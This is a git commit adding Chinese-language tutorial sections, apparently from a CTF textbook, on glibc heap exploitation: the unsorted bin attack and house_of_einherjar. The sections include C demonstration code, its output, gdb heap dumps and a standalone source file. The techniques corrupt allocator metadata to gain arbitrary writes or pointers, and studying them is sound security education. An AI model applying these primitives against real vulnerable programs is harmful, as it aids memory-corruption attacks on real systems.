update 3.3.5

This commit is contained in:
firmianay 2018-01-16 21:15:44 +08:00
parent 40f2058e04
commit 3c7fc5adc8
2 changed files with 207 additions and 0 deletions

View File

@ -5,6 +5,7 @@
- [unsorted_bin_attack](#unsorted_bin_attack)
- [house_of_einherjar](#house_of_einherjar)
- [house_of_orange](#house_of_orange)
- [参考资料](#参考资料)
[下载文件](../src/Others/3.3.5_heap_exploit)
@ -144,6 +145,17 @@ int main() {
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}
```
```
$ gcc -g unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
Now, we allocate first small chunk on the heap at: 0x1066010
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
We write it with the target address-0x10: 0x7ffc9b1d61a0
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
```
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
unlink 的对 unsorted bin 的操作是这样的:
@ -202,5 +214,146 @@ gef➤ x/4gx &stack_var-2
从而泄漏了 unsorted bin 的头部地址。
#### house_of_einherjar
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
uint8_t *a, *b, *d;
a = (uint8_t*) malloc(0x10);
int real_a_size = malloc_usable_size(a);
memset(a, 'A', real_a_size);
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
size_t fake_chunk[6];
fake_chunk[0] = 0x80;
fake_chunk[1] = 0x80;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
fake_chunk[1] = fake_size;
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
d = malloc(0x10);
memset(d, 'A', 0x10);
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
}
```
```
$ gcc -g house_of_einherjar.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xb31010
Our fake chunk at 0x7ffdb337b7f0 looks like:
prev_size: 0x80
size: 0x80
fwd: 0x7ffdb337b7f0
bck: 0x7ffdb337b7f0
fwd_nextsize: 0x7ffdb337b7f0
bck_nextsize: 0x7ffdb337b7f0
We allocate 0xf8 bytes for 'b': 0xb31030
b.size: 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
```
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
首先分配一个假设存在 off_by\_one 溢出的 chunk a然后在栈上创建我们的 fake chunkchunk 大小随意,只要是 small chunk 就可以了:
```
gef➤ x/8gx a-0x10
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
0x603030: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx &fake_chunk
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
```
接下来创建 chunk b并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志chunk b 就会以为前一个 chunk 是一个 free chunk 了:
```
gef➤ x/8gx a-0x10
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
0x603030: 0x0000000000000000 0x0000000000000000
```
原本 chunk b 的 size 字段应该为 0x101在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
```
gef➤ x/8gx a-0x10
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x603010: 0x4141414141414141 0x4141414141414141
0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
0x603030: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx &fake_chunk
0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
```
释放 chunk b这时因为 `PREV_INUSE` 为零unlink 会根据 prev_size 去寻找上一个 free chunk并将它和当前 chunk 合并。从 arena 里可以看到:
```
gef➤ heap arenas
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
```
合并的过程在 poison-null-byte 那里也讲过了。
最后当我们再次 malloc其返回的地址将是 fake chunk 的地址:
```
gef➤ x/8gx &fake_chunk
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
```
#### house_of_orange
## 参考资料

View File

@ -0,0 +1,54 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main() {
uint8_t *a, *b, *d;
a = (uint8_t*) malloc(0x10);
int real_a_size = malloc_usable_size(a);
memset(a, 'A', real_a_size);
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
size_t fake_chunk[6];
fake_chunk[0] = 0x80;
fake_chunk[1] = 0x80;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
fake_chunk[1] = fake_size;
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
free(b);
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
d = malloc(0x10);
memset(d, 'A', 0x10);
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
}